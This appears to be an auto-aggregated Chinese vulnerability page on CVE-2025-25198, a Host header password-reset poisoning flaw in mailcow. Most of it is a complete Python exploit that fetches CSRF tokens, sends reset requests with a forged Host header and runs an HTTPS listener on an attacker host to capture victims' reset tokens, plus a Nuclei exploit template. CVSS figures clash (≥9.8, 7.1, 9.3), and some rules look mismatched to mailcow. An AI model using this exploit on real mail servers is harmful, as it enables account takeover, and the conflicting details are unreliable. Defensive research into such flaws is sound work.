🔥 CVE-2025-25198 深度独立研究:源码审计 · 二次发现 · 利用方案

🔥 高危漏洞深度独立研究 · CVSS ≥ 9.8

CVE-2025-25198 深度独立研究:源码审计 · 二次发现 · 利用方案

📊 3 来源🔍 源码审计🧪 PoC
NVD-LatestExploit-DBPoC-in-GitHub

🔍 源码独立审计

(未定位到源码) 源码进行独立审计(置信度 60%)。

🧬 根因独立理解

<p><strong>摘要:</strong>CVE-2025-25198 是 mailcow: dockerized 邮件套件中存在的一处 Host 头注入漏洞,CVSS 评分为 7.1(高危)。攻击者可利用该漏洞篡改密码重置流程中生成的链接主机名,诱导受害者点击恶意链接,从而实现账户接管。该漏洞影响 2025-01a 之前的所有版本,官方已在 2025-01a 中修复。本文将深入分析漏洞的根因、利用方式及修复策略。</p> <h2>📌 漏洞概述</h2> <ul> <li><strong>CVE 编号:</strong>CVE-2025-25198</li> <li><strong>CVSS 评分:</strong>7.1(HIGH)</li> <li><strong>漏洞类型:</strong>HTTP Host 头注入 / 密码重置链接投毒(Host Header Poisoning)</li> <li><strong>影响产品:</strong>mailcow: dockerized(基于 Docker 的开源群件/邮件套件)</li> <li><strong>影响版本:</strong>&lt; 2025-01a</li> <li><strong>修复版本:</strong>2025-01a</li> <li><strong>CISA KEV:</strong>未被收录(截至撰写本文时)</li> </ul> <p>该漏洞允许远程攻击者通过操纵发送至 mailcow 的 HTTP <code>Host</code> 头,使密码重置邮件中的重置链接指向攻击者控制的域名。一旦受害用户点击该恶意链接,攻击者便可完成密码重置流程,进而完全接管目标账户。</p> <h2>🔬 漏洞根因分析</h2> <p>mailcow 的密码重置功能在生成重置链接时,未对 HTTP 请求中的 <code>Host</code> 头进行严格校验,而是直接将其作为链接基础 URL 的一部分使用。具体来说,当用户发起密码重置请求时,服务端会构建类似以下格式的链接:</p> <pre>https://{Host}/api/v1/get/recover/{token}</pre> <p>其中 <code>{Host}</code> 直接取自请求的 <code>Host</code> 头。由于 HTTP 协议允许客户端任意指定该头字段,攻击者可将 <code>Host</code> 设置为自己的域名(例如 <code>attacker.example.com</code>),从而生成一个指向攻击者域名的有效重置链接。邮件系统随后将该链接通过邮件发送给受害者,受害者如果误以为这是 mailcow 官方发送的邮件,点击后便会携带有效的密码重置 token 访问攻击者的服务器。攻击者即可利用该 token 完成密码重置。</p> <p>从 Web 应用安全角度看,这是一个典型的“Host 头信任”缺陷。许多 Web 应用程序依赖 <code>Host</code> 头来生成绝对 URL,用于邮件通知、密码重置、CSRF token 等敏感操作。当应用没有对 <code>Host</code> 头进行白名单校验,或没有使用内部配置的站点 URL 作为基准时,此漏洞便会出现。mailcow 在此处犯了同样的错误——它信任了用户可控的 <code>Host</code> 头,而忽略了其配置的 <code>base_url</code>。</p> <p>在 PoC 实现中(CVE-2025-25198-PoC),攻击者使用一个绑定在 443 端口的本地 HTTPS 监听器,通过伪造 <code>Host</code> 头向目标发送密码重置请求。由于 mailcow 会向用户发送包含恶意链接的邮件,攻击者可以同时等待监听器收到回连请求,或直接从 HTTP 响应中提取 token(如果攻击者能够查看响应)。该 PoC 还自动获取 CSRF token,以绕过邮件系统的 CSRF 防护,体现了漏洞可利用性之高。</p> <p>值得注意的是,该漏洞的触发无需任何特殊权限,攻击者只需要知道目标用户的邮箱地址,即可构造恶意请求。这使得攻击面非常广,因为邮件用户名的枚举往往不是难事。</p> <h2>💥 影响与危害</h2> <ul> <li><strong>账户接管:</strong>攻击者通过投毒密码重置链接,在用户点击后获得有效重置 token,进而任意重置受害者密码,完全接管账户。</li> <li><strong>敏感数据泄露:</strong>被接管邮箱可访问邮件内容、联系人、日历等敏感信息,可能导致进一步钓鱼或数据泄露。</li> <li><strong>组织

🛤️ 漏洞触发链路

🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。

📋 代码元数据语言md来源Groppoxx/CVE-2025-25198-PoC针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明

# CVE-2025-25198-PoC

Proof-of-concept for [**CVE-2025-25198**](https://nvd.nist.gov/vuln/detail/CVE-2025-25198),a Host header poisoning issue affecting Mailcow password reset flows.

The script starts a local HTTPS listener on port `443`,obtains a valid CSRF token automatically,sends the password reset sequence with a poisoned `Host` header,
and stops when a reset link is recovered either from the HTTP response or from a callback to the listener.

## What It Does

1. Starts an HTTPS listener with a self-signed certificate.
2. Creates a fresh HTTP client session.
3. Obtains a CSRF token automatically.
4. Sends the reset flow with a controlled `Host` header.
5. Extracts reset links from responses and redirects.
6. Waits for a listener hit if the target sends the link out-of-band.
7. Stops at the first valid reset link and prints it cleanly.

## Requirements

```bash
Python 3.8+
OpenSSL in PATH
sudo/root privileges to bind port 443
Inbound TCP/443 reachable from the target
```

Install dependencies:

```bash
pip install -r requirements.txt
```

## Quick Start

Values wrapped in angle brackets are placeholders. Replace them with your own values and do not include the `<` or `>` characters.

```bash
sudo python3 cve_2025_25198.py \
  --listen-host 0.0.0.0 \
  --base-url <MAILCOW_URL>
\
  --username <MAILBOX>\
  --attacker-host <ATTACKER_HOST>\
  --http2
```

### Placeholders

```bash
<MAILCOW_URL># Target Mailcow base URL. Example: https://mail.example.com
<MAILBOX># Mailbox/user passed to the reset form. Usually an email address.
<ATTACKER_HOST>
# IP or DNS name that the target can reach on TCP/443.
```

## Full Example

```bash
sudo python3 cve_2025_25198.py \
  --listen-host 0.0.0.0 \
  --base-url https://mail.cows.com \
  --username michael@cows.com \
  --attacker-host 10.10.13.12 \
  --http2
```

Example output:

```bash
[2026-05-17T18:30:12Z] [+] HTTPS listener on https://0.0.0.0:443
[2026-05-17T18:30:13Z] [+] Auto CSRF: 0123456789abcdef...
[2026-05-17T18:30:13Z] [>] Sending sequence with poisoned Host
[2026-05-17T18:30:14Z] [HIT] GET /reset-password?token=AAAA-BBBB-CCCC-DDDD ← 10.10.13.12 [200]

╔════════════════════════════════════════════════════════════════════════════════╗
║  RESET LINK FOUND!  (listener)                                                 ║
╟════════════════════════════════════════════════════════════════════════════════╢
║  https://mail.cows.com/reset-password?token=AAAA-BBBB-CCCC-DDDD                ║
║  Target: mail.cows.com                                                         ║
╚════════════════════════════════════════════════════════════════════════════════╝
```

## Demo

[![asciicast](https://asciinema.org/a/750363.svg)](https://asciinema.org/a/750363)

## Optional Flags

```bash
--http2
   Use HTTP/2 via httpx. Recommended for best parity with modern browsers.

--interval <seconds>
Seconds between attempts and listener wait windows. Default: 8

--max-attempts <N>Stop after N attempts. Default: 0,which means retry indefinitely.

--cookie '<pairs>'
   Seed the client cookie jar manually.
   Example: --cookie 'PHPSESSID=abcdef123456;another=value'

--csrf <TOKEN>
Use a known CSRF token instead of auto-discovery.

--only-final
   Hide progress logs and print only the final reset-link banner.
```

## Notes

- The listener always binds to port `443`.
- On Linux/macOS,binding port `443` requires `sudo` or root.
- The target must be able to reach `https://<ATTACKER_HOST>/`.
- If a reset link is found in an HTTP response,
the script exits immediately.
- If no link is found in the response,the script waits for a callback to the HTTPS listener.
- If no link is recovered,the sequence retries every 8 seconds by default.
- `server.pem` and `server.key` are generated automatically if missing.

## Legal

This PoC is intended for **authorized security testing**,lab environments,
and vulnerability verification.
Do not use it against systems without explicit permission.

⚔️ EXP 利用代码

来自 Exploit-DB 的完整利用代码([webapps] mailcow 2025-01a - Host Header Password Reset Poisoning)。

📋 代码元数据语言见代码头注释来源Exploit-DB: https://www.exploit-db.com/exploits/52484针对性✅ 官方收录 EXP依赖见代码注释用法见代码注释中的用法

# Exploit Title: mailcow 2025-01a - Host Header Password Reset Poisoning
# Date: 2025-10-21
# Exploit Author: Iam Alvarez (AKA Groppoxx / Maizeravla)
# Vendor Homepage: https://mailcow.email
# Software Link: https://github.com/mailcow/mailcow-dockerized
# Version: <2025-01a (REQUIRED)
# Tested on: Ubuntu 22.04.5 LTS,Docker 26.1.3,Docker Compose 2.27.1;
mailcow:dockerized 2025-01
# CVE : CVE-2025-25198
# PoC: https://github.com/Groppoxx/CVE-2025-25198-PoC.git
# mailcow: dockerized <2025-01a - Host Header Password Reset Poisoning (CVE-2025-25198)
# Description:
# A flaw in mailcow’s password reset allows Host header poisoning to generate a
# reset link pointing to an attacker-controlled domain,
potentially enabling account
# takeover if a user clicks the poisoned link. Patched in 2025-01a.
# References:
# - NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-25198
# - Vendor advisory: https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf
# Usage (authorized testing only):
# sudo python3 cve-2025-25198.py \
# --listen-host 0.0.0.0 \
# --base-url https://mail.target.tld \
# --username victim@target.tld \
# --attacker-host your.ip.or.dns \
# --http2
# Requirements:
# Python 3.8+ ;
pip install httpx (or 'requests' for HTTP/1.1)
# Legal:
# For authorized security testing only. Do NOT target live websites.
from __future__ import annotations
import argparse
import http.server
import os
import re
import ssl
import subprocess
import sys
import threading
from datetime import datetime,
timezone
from http import HTTPStatus
from http.server import SimpleHTTPRequestHandler
from typing import Optional,Dict,List,Tuple
from urllib.parse import urlparse,
parse_qs
try:
import requests
except Exception:
requests = None
RESET = "\033[0m"
BOLD = "\033[1m"
DIM = "\033[2m"
GREEN = "\033[32m"
CYAN = "\033[36m"
YELLOW = "\033[33m"
MAGENTA = "\033[35m"
ANSI_RE = re.compile(r'\x1b\[[0-9;]*m')
def visible_len(s: str) ->int:
return len(ANSI_RE.sub('',s))
class Console:
def __init__(self,only_final: bool = False) ->
None:
self.only_final = only_final
def log(self,msg: str) ->None:
if self.only_final:
return
ts = datetime.now(timezone.utc).isoformat(timespec="seconds").replace("+00:00","Z")
print(f"{DIM}[{ts}]{RESET}{msg}",flush=True)
def banner(self,link: str,source: str = "response") ->None:
host = urlparse(link).hostname or ""
title = f" {BOLD}{GREEN}RESET LINK FOUND!{RESET}
{DIM}({source}){RESET}"
link_line = f" {CYAN}{link}{RESET}"
target_line = f" Target: {BOLD}{host}{RESET}" if host else ""
max_content = max(
visible_len(title),visible_len(link_line),visible_len(target_line) if host else 0
)
inner_width = max(80,min(150,max_content))
line = "═" * inner_width
def box_line(content: str) ->str:
pad = inner_width - visible_len(content)
if pad <
0:
pad = 0
return f"{MAGENTA}║{RESET}{content}{' ' * pad}{MAGENTA}║{RESET}"
print("")
print(f"{MAGENTA}╔{line}╗{RESET}")
print(box_line(title))
print(f"{MAGENTA}╟{line}╢{RESET}")
print(box_line(link_line))
if host:
print(box_line(target_line))
print(f"{MAGENTA}╚{line}╝{RESET}")
print("")
console = Console(False)
RGX_TOKEN_IN_URL = re.compile(r'reset-password\?token=([^\s"&\'<>]+)',
re.I)
RGX_TOKEN_FALLBACK = re.compile(r'\b([a-f0-9]{4,12}(?:-[a-f0-9]{4,12}){3,6})\b',re.I)
def links_from_text(html: str,base_url: str) ->
List[str]:
if not html:
return []
out: List[str] = []
for m in RGX_TOKEN_IN_URL.finditer(html):
out.append(f"{base_url.rstrip('/')}/reset-password?token={m.group(1)}")
for m in RGX_TOKEN_FALLBACK.finditer(html):
cand = f"{base_url.rstrip('/')}/reset-password?token={m.group(1)}"
if cand not in out:
out.append(cand)
return out
def links_from_headers(headers: Dict[str,str],base_url: str) ->
List[str]:
loc = headers.get("Location") or headers.get("location")
return links_from_text(loc,base_url) if loc else []
class ListenerState:
def __init__(self) ->None:
self.event = threading.Event()
self.last_link: Optional[str] = None
class LoggingHTTPSHandler(SimpleHTTPRequestHandler):
server_version = "PoisonedHostTest/host-only"
error_content_type = "text/plain"
def log_message(self,
*_: object) ->None:
return
def _record(self,code: int) ->None:
parsed = urlparse(self.path)
token = parse_qs(parsed.query).get("token") or []
if token:
link = f"{self.server.target_base_url.rstrip('/')}/reset-password?token={token[0]}"
self.server.state.last_link = link
self.server.state.event.set()
if not console.only_final:
console.log(f"{YELLOW}[HIT]{RESET}{self.command}{self.path}
← {self.client_address[0]}[{code}]")
def do_GET(self) ->None:
if self.path.startswith("/favicon"):
self.send_response(HTTPStatus.NO_CONTENT);self.end_headers();return
self.send_response(HTTPStatus.OK)
self.send_header("Content-Type","text/html;charset=utf-8")
self.end_headers()
token = parse_qs(urlparse(self.path).query).get("token",
[""])[0]
body = f"<!doctype html><meta charset=utf-8><title>OK</title><p>token: <b>{token}</b></p>"
self.wfile.write(body.encode("utf-8"))
self._record(HTTPStatus.OK)
def do_POST(self) ->None:
_ = self.rfile.read(int(self.headers.get("Content-Length","0") or 0))
self.send_response(HTTPStatus.NO_CONTENT);
self.end_headers()
self._record(HTTPStatus.NO_CONTENT)
def ensure_self_signed(cert_file: str,key_file: str,cn: str = "localhost",days: int = 365) ->None:
if os.path.exists(cert_file) and os.path.exists(key_file):
return
console.log("[+] Generating self-signed certificate…")
subprocess.run([
"openssl","req","-x509","-newkey","rsa:2048","-keyout",key_file,"-out",cert_file,"-days",str(days),
"-nodes","-subj",f"/CN={cn}"
],check=True)
def require_root_for_privileged_port(port: int) ->None:
if port <1024:
# POSIX check: require root if binding <1024
if hasattr(os,"geteuid"):
if os.geteuid() != 0:
print("[-] Port 443 requires root. Re-run with sudo.",file=sys.stderr)
sys.exit(2)
# On non-POSIX (e.g.,Windows) we don't enforce sudo.
def start_https_listener(host: str,port: int,
cert: str,key: str,base_url: str,state: ListenerState):
ensure_self_signed(cert,key)
httpd = http.server.ThreadingHTTPServer((host,port),LoggingHTTPSHandler)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain(certfile=cert,keyfile=key)
httpd.socket = ctx.wrap_socket(httpd.socket,
server_side=True)
httpd.target_base_url = base_url
httpd.state = state
threading.Thread(target=httpd.serve_forever,name="https-listener",daemon=True).start()
console.log(f"[+] HTTPS listener on https://{host}:{port}")
return httpd
def add_cookie_string_to_session(session,cookie_header: Optional[str],base_url: str) ->
None:
if not cookie_header:
return
host = urlparse(base_url).hostname
for part in re.split(r';\s*|,\s*',cookie_header.strip()):
if not part or "=" not in part:
continue
name,val = part.split("=",1)
try:
session.cookies.set(name.strip(),val.strip(),domain=host)
except Exception:
pass
class HttpClient:
def __init__(self,base_url: str,use_http2: bool,cookie_header: Optional[str]) ->
None:
self.base_url = base_url.rstrip("/")
self.use_http2 = use_http2
if use_http2:
try:
import httpx
except Exception as e:
raise RuntimeError("Install httpx for --http2: pip install httpx") from e
# TLS verification disabled intentionally for testing environments
self.session = httpx.Client(http2=True,verify=False,timeout=20.0,
follow_redirects=False)
else:
if requests is None:
raise RuntimeError("Missing 'requests' for HTTP/1.1.")
self.session = requests.Session()
add_cookie_string_to_session(self.session,cookie_header,self.base_url)
def get(self,url: str,headers: Dict[str,str],allow_redirects: bool):
if self.use_http2:
return self.session.get(url,headers=headers or {},
follow_redirects=allow_redirects)
# requests: disable TLS verification explicitly
return self.session.get(url,headers=headers or {},verify=False,timeout=20,allow_redirects=allow_redirects)
def post(self,url: str,headers: Dict[str,str],data: Dict[str,str],allow_redirects: bool):
if self.use_http2:
return self.session.post(url,headers=headers or {},data=data or {},
follow_redirects=allow_redirects)
return self.session.post(url,headers=headers or {},data=data or {},verify=False,timeout=20,allow_redirects=allow_redirects)
RGX_INPUTS = [
re.compile(r'name=["\']csrf_token["\']\s+value=["\']([0-9a-zA-Z_\-./+=:]+)["\']'),re.compile(r'name=["\']_csrf["\']\s+value=["\']([^"\']+)["\']'),re.compile(r'name=["\']csrf["\']\s+value=["\']([^"\']+)["\']'),
re.compile(r'name=["\']csrf_token_reset["\']\s+value=["\']([^"\']+)["\']'),]
RGX_META = re.compile(r'<meta\s+name=["\']csrf-token["\']\s+content=["\']([^"\']+)["\']',re.I)
RGX_JS = [
re.compile(r'csrf_token\s*[:=]\s*["\']([^"\']+)["\']',re.I),re.compile(r'window\.\w*csrf\w*\s*=\s*["\']([^"\']+)["\']',re.I),]
COOKIE_CSRF = ["csrf_token","_csrf","XSRF-TOKEN",
"CSRF-TOKEN"]
HEX64 = re.compile(r'^[0-9a-f]{64}$',re.I)
def _csrf_candidates_html(html: str) ->
List[str]:
if not html:
return []
cands: List[str] = []
for rgx in RGX_INPUTS:
m = rgx.search(html)
if m: cands.append(m.group(1))
m = RGX_META.search(html)
if m: cands.append(m.group(1))
for rgx in RGX_JS:
m = rgx.search(html)
if m: cands.append(m.group(1))
for m in re.finditer(r'csrf_token=([0-9a-zA-Z_\-./+=:]{16,})',
html):
cands.append(m.group(1))
seen: set[str] = set()
out: List[str] = []
for v in cands:
if v not in seen:
seen.add(v);out.append(v)
return out
def _csrf_from_set_cookie(headers: Dict[str,str]) ->Optional[str]:
sc = headers.get("Set-Cookie") or headers.get("set-cookie")
if not sc: return None
for cookie in re.split(r',(?=\s*\w+=)',
sc):
for name in COOKIE_CSRF:
m = re.search(rf'\b{name}=([^;,\s]+)',cookie,re.I)
if m: return m.group(1)
return None
def _best_csrf(candidates: List[str]) ->Optional[str]:
if not candidates: return None
for c in candidates:
if HEX64.fullmatch(c): return c
return candidates[0]
def nav_headers(base_url: str,attacker_host: str) ->Dict[str,str]:
return {"User-Agent": "Mozilla/5.0 (X11;
Linux x86_64;rv:128.0) Gecko/20100101 Firefox/128.0","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language": "en-US,en;q=0.5","Accept-Encoding": "gzip,deflate,br","Upgrade-Insecure-Requests": "1","Sec-Fetch-Dest": "document","Sec-Fetch-Mode": "navigate","Sec-Fetch-Site": "same-origin","Sec-Fetch-User": "?1","Te": "trailers",
"Referer": base_url.rstrip("/") + "/","Origin": base_url,"Host": attacker_host,}def fetch_csrf_auto(client: HttpClient,base_url: str,attacker_host: str,username: str) ->str:
paths = ["","/","/index.php","/reset-password","/login","/auth","/user/reset"]
h1 = nav_headers(base_url,attacker_host)
for p in paths:
url = client.base_url + p
try:
r = client.get(url,headers=h1,
allow_redirects=True)
text = r.text if hasattr(r,"text") else r.content.decode("utf-8","ignore")
headers = dict(getattr(r,"headers",{}))
token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text))
if token: return token
except Exception as e:
console.log(f"[!] CSRF GET failed at {url}: {e}")
h2 = dict(h1);h2.pop("Host",
None)
for p in paths:
url = client.base_url + p
try:
r = client.get(url,headers=h2,allow_redirects=True)
text = r.text if hasattr(r,"text") else r.content.decode("utf-8","ignore")
headers = dict(getattr(r,"headers",
{}))
token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text))
if token: return token
except Exception as e:
console.log(f"[!] CSRF GET (no Host) failed at {url}: {e}")
pre_headers = {"User-Agent": h1["User-Agent"],"Accept": h1["Accept"],"Accept-Language": h1["Accept-Language"],"Content-Type": "application/x-www-form-urlencoded","Host": attacker_host,
"Referer": base_url.rstrip("/") + "/","Origin": base_url,"Upgrade-Insecure-Requests": "1",}try:
r = client.post(client.base_url + "/reset-password",headers=pre_headers,data={"username": username,"pw_reset_request": "","csrf_token": ""},allow_redirects=True)
text = r.text if hasattr(r,"text") else r.content.decode("utf-8","ignore")
headers = dict(getattr(r,"headers",
{}))
token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text))
if token: return token
except Exception as e:
console.log(f"[!] Preflight POST for CSRF failed: {e}")
raise RuntimeError("Unable to auto-extract csrf_token.")
def looks_like_csrf_error(body: str,status: int) ->bool:
if status in (400,
403): return True
text = (body or "").lower()
return any(k in text for k in ("csrf","invalid token","expired token","forgery","bad token"))
def run_sequence(client: HttpClient,base_url: str,username: str,csrf: str,attacker_host: str) ->Tuple[Optional[str],Dict[str,object],str]:
ua = "Mozilla/5.0 (X11;Linux x86_64;rv:128.0) Gecko/20100101 Firefox/128.0"
headers = {"User-Agent": ua,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language": "en-US,en;q=0.5","Content-Type": "application/x-www-form-urlencoded","Host": attacker_host,"Referer": base_url.rstrip('/') + "/","Origin": base_url,"Upgrade-Insecure-Requests": "1",}r1 = client.get(base_url,headers=headers,allow_redirects=True)
body1 = r1.text if hasattr(r1,
"text") else r1.content.decode("utf-8","ignore")
reset_ep = base_url.rstrip("/") + "/reset-password"
payload = {"username": username,"pw_reset_request": "","csrf_token": csrf}r2 = client.post(reset_ep,headers=headers,data=payload,allow_redirects=False)
body2 = r2.text if hasattr(r2,"text") else r2.content.decode("utf-8","ignore")
r3 = client.get(base_url.rstrip("/") + "/",headers=headers,
allow_redirects=False)
body3 = r3.text if hasattr(r3,"text") else r3.content.decode("utf-8","ignore")
found: List[str] = []
found += links_from_headers(dict(getattr(r1,"headers",{})),base_url)
found += links_from_headers(dict(getattr(r2,"headers",{})),base_url)
found += links_from_headers(dict(getattr(r3,"headers",{})),base_url)
found += links_from_text(body1,
base_url)
found += links_from_text(body2,base_url)
found += links_from_text(body3,base_url)
seen: set[str] = set()
clean = [l for l in found if not (l in seen or seen.add(l))]
summary = {"get1": getattr(r1,"status_code",None),"post": getattr(r2,"status_code",None),"get2": getattr(r3,"status_code",None),"links_found": clean,}return (clean[0] if clean else None),summary,
body2
def attempt_once(base_url: str,username: str,attacker_host: str,use_http2: bool,cookie_header: Optional[str],csrf_override: Optional[str]) ->Tuple[Optional[str],Dict[str,object]]:
client = HttpClient(base_url,use_http2,cookie_header)
if csrf_override:
csrf = csrf_override
console.log(f"[+] Using provided CSRF: {csrf[:16]}…")
else:
csrf = fetch_csrf_auto(client,base_url,attacker_host,
username)
console.log(f"[+] Auto CSRF: {csrf[:16]}…")
console.log("[>] Sending sequence with poisoned Host")
link,summary,post_body = run_sequence(client,base_url,username,csrf,attacker_host)
if not link:
post_status = int(summary.get("post") or 0)
if not csrf_override and looks_like_csrf_error(post_body,
post_status):
console.log("[!] CSRF invalid/expired. Rotating session and retrying once…")
client = HttpClient(base_url,use_http2,None)
csrf2 = fetch_csrf_auto(client,base_url,attacker_host,username)
console.log(f"[+] Auto CSRF (retry): {csrf2[:16]}…")
link,summary,_ = run_sequence(client,base_url,username,csrf2,attacker_host)
return link,summary
def run_until_success(listen_host: str,
base_url: str,username: str,attacker_host: str,use_http2: bool,interval: float,max_attempts: int,cookie_header: Optional[str],csrf_override: Optional[str]) ->Optional[str]:
# Force port 443 and require sudo/root on POSIX
listen_port = 443
require_root_for_privileged_port(listen_port)
state = ListenerState()
srv = start_https_listener(listen_host,listen_port,"server.pem","server.key",base_url,
state)
try:
attempt = 0
while True:
attempt += 1
if max_attempts and attempt >max_attempts:
console.log("[i] Reached --max-attempts without success.")
return None
try:
link,_summary = attempt_once(base_url,username,attacker_host,use_http2,cookie_header,csrf_override)
except Exception as e:
console.log(f"[!] Attempt #{attempt}error: {e}")
link = None
if link:
console.banner(link,
source="response")
return link
if state.event.wait(timeout=interval):
link = state.last_link
if link:
console.banner(link,source="listener")
return link
console.log(f"[i] Attempt #{attempt}yielded no link. Retrying in {int(interval)}s…")
except KeyboardInterrupt:
console.log("[+] Aborted by user.")
return None
finally:
try: srv.shutdown()
except Exception: pass
def main() ->
None:
p = argparse.ArgumentParser(
description="Host header poisoning tester (Mailcow CVE-2025-25198) — HTTPS listener on port 443 (requires sudo/root),auto-cookie + auto-CSRF (or --csrf),retry,Host-only"
)
p.add_argument("--listen-host",required=True)
p.add_argument("--base-url",required=True)
p.add_argument("--username",required=True)
p.add_argument("--attacker-host",
required=True)
p.add_argument("--http2",action="store_true",help="Use HTTP/2 (recommended)")
p.add_argument("--interval",type=float,default=8.0,help="Seconds between attempts and click wait window")
p.add_argument("--max-attempts",type=int,default=0,help="0=infinite;>0 limits attempts")
p.add_argument("--cookie",default=None,help="(Optional) inject cookies,e.g.,
PHPSESSID=...")
p.add_argument("--csrf",default=None,help="(Optional) provide csrf_token explicitly (auto if omitted)")
p.add_argument("--only-final",action="store_true",help="Hide progress;
print only the final link banner")
args = p.parse_args()
global console
console = Console(only_final=args.only_final)
if not args.http2 and requests is None:
console.log("[!] Install 'requests' or use --http2 with 'httpx'.");sys.exit(2)
if not args.http2:
console.log("[i] Running over HTTP/1.1 (requests). For best parity,use --http2.")
link = run_until_success(
listen_host=args.listen_host,
base_url=args.base_url,username=args.username,attacker_host=args.attacker_host,use_http2=args.http2,interval=args.interval,max_attempts=args.max_attempts,cookie_header=args.cookie,csrf_override=args.csrf,)
if link:
if not args.only_final:
print(f"{BOLD}{GREEN}Success:{RESET}
reset link obtained. Exiting.")
else:
if not args.only_final:
print("[i] No success (attempts exhausted or aborted).")
if __name__ == "__main__":
main()

🕵️ 检测指纹

针对该 CVE 的自动化检测规则(可直接用于扫描与审计)。

🛡️ Nuclei 检测模板: CVE-2025-25198-detection.yaml

📋 代码元数据语言yaml来源rules/nuclei/CVE-2025-25198-detection.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2025-25198-detection.yaml -u

id: CVE-2025-25198-detection

info:
  name: mailcow - Host Header Password Reset Poisoning Detection
  author: your-username
  severity: high
  description: |A flaw in mailcow's password reset allows Host header poisoning to generate a
    reset link pointing to an attacker-controlled domain,potentially enabling account
    takeover if a user clicks the poisoned link. Affects versions <
2025-01a.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25198
    - https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
    cvss-score: 9.3
    cve-id: CVE-2025-25198
  tags: mailcow,password-reset,host-header,poisoning

http:
  - method: GET
    path:
      - '{{BaseURL}}/'
      - '{{BaseURL}}/index.php'
      - '{{BaseURL}}/SOGo/Microsoft-Server-ActiveSync'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'mailcow'
        part: body

      - type: regex
        name: version
        regex:
          - 'mailcow\s+v?(\d{4}-\d{2}[a-z]?)'
          - 'v?(\d{4}-\d{2}[a-z]?)'
        part: body
        condition: or

      - type: status
        status:
          - 200
          - 302

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - 'mailcow\s+v?(\d{4}-\d{2}[a-z]?)'
          - 'v?(\d{4}-\d{2}[a-z]?)'
        part: body

🛡️ Nuclei 检测模板: CVE-2025-25198-exploit.yaml

📋 代码元数据语言yaml来源rules/nuclei/CVE-2025-25198-exploit.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2025-25198-exploit.yaml -u

id: CVE-2025-25198-exploit

info:
  name: mailcow - Host Header Password Reset Poisoning Exploit
  author: your-username
  severity: high
  description: |Generates a password reset link poisoned with an attacker-controlled host.
    The victim,upon clicking the link,will reset their password by sending the
    token to the attacker's server,
leading to account takeover.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25198
    - https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
    cvss-score: 9.3
    cve-id: CVE-2025-25198
  tags: mailcow,password-reset,host-header,poisoning

variables:
  username: 'victim@target.tld'
  attacker_host: 'attacker.com'

http:
  - raw:
      - |
POST /mailcow/forgot.php HTTP/1.1
        Host: {{attacker_host}}Content-Type: application/x-www-form-urlencoded
        Content-Length: 28

        login_user={{username}}- |POST /mailcow/reset-password HTTP/1.1
        Host: {{attacker_host}}
Content-Type: application/x-www-form-urlencoded
        Content-Length: 0

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Password reset email sent'
          - 'success'
          - 'token'
        condition: or
        part: body

      - type: status
        status:
          - 200
          - 302

    extractors:
      - type: json
        name: location
        json:
          - '.headers.Location'
        part: header

      - type: regex
        name: token
        regex:
          - 'reset-password\?token=([a-f0-9-]+)'
        part: body

🛡️ Semgrep 审计规则: CVE-2025-25198.yaml

📋 代码元数据语言yaml来源rules/semgrep/CVE-2025-25198.yaml针对性✅ 按 CVE 匹配依赖semgrep用法semgrep --config CVE-2025-25198.yaml

rules:
- id: CVE-2025-25198-host-header-injection
  languages:
  - python
  severity: ERROR
  message: "Potential Host header injection via unvalidated HTTP Host header. mailcow password reset uses Host header to generate reset links,allowing attacker-controlled domain poisoning."
  patterns:
  - pattern-either:
    - pattern: |$HEADERS.get("Host")
    - pattern: |
$REQUEST.META.get("HTTP_HOST")
    - pattern: |"Host" in $HEADERS
    - pattern: |os.environ.get("HTTP_HOST")
    - pattern: |request.get_host()
  - pattern-not: |$DOMAIN = get_validated_domain($REQUEST)
  fix: |
from django.http import HttpRequest
    def validate_host(host):
        allowed_hosts = settings.ALLOWED_HOSTS or []
        if host in allowed_hosts:
            return host
        raise ValueError("Invalid Host header")
  metadata:
    cwe: "CWE-644"
    owasp: "A1: Injection"
    technology: django
    references:
    - "https://nvd.nist.gov/vuln/detail/CVE-2025-25198"
    - "https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf"
- id: CVE-2025-25198-ssrf-injection
  languages:
  - python
  severity: ERROR
  message: "Potential Server-Side Request Forgery (SSRF) via unvalidated URL,
leading to host header poisoning and password reset link hijacking."
  patterns:
  - pattern: |requests.get($URL,...)
  - pattern-either:
    - pattern: |urllib.request.urlopen($URL)
    - pattern: |httpx.get($URL,...)
    - pattern: |requests.post($URL,...)
  - pattern-not: |requests.get("https://internal.service/api",...)
  fix: |
from urllib.parse import urlparse
    ALLOWED_DOMAINS = ["mailcow.domain.com",
"api.mailcow.com"]
    parsed = urlparse(url)
    if parsed.hostname in ALLOWED_DOMAINS:
        return requests.get(url)
    raise ValueError("Forbidden URL")
  metadata:
    cwe: "CWE-918"
    owasp: "A1: Injection"
    technology: requests
    references:
    - "https://nvd.nist.gov/vuln/detail/CVE-2025-25198"
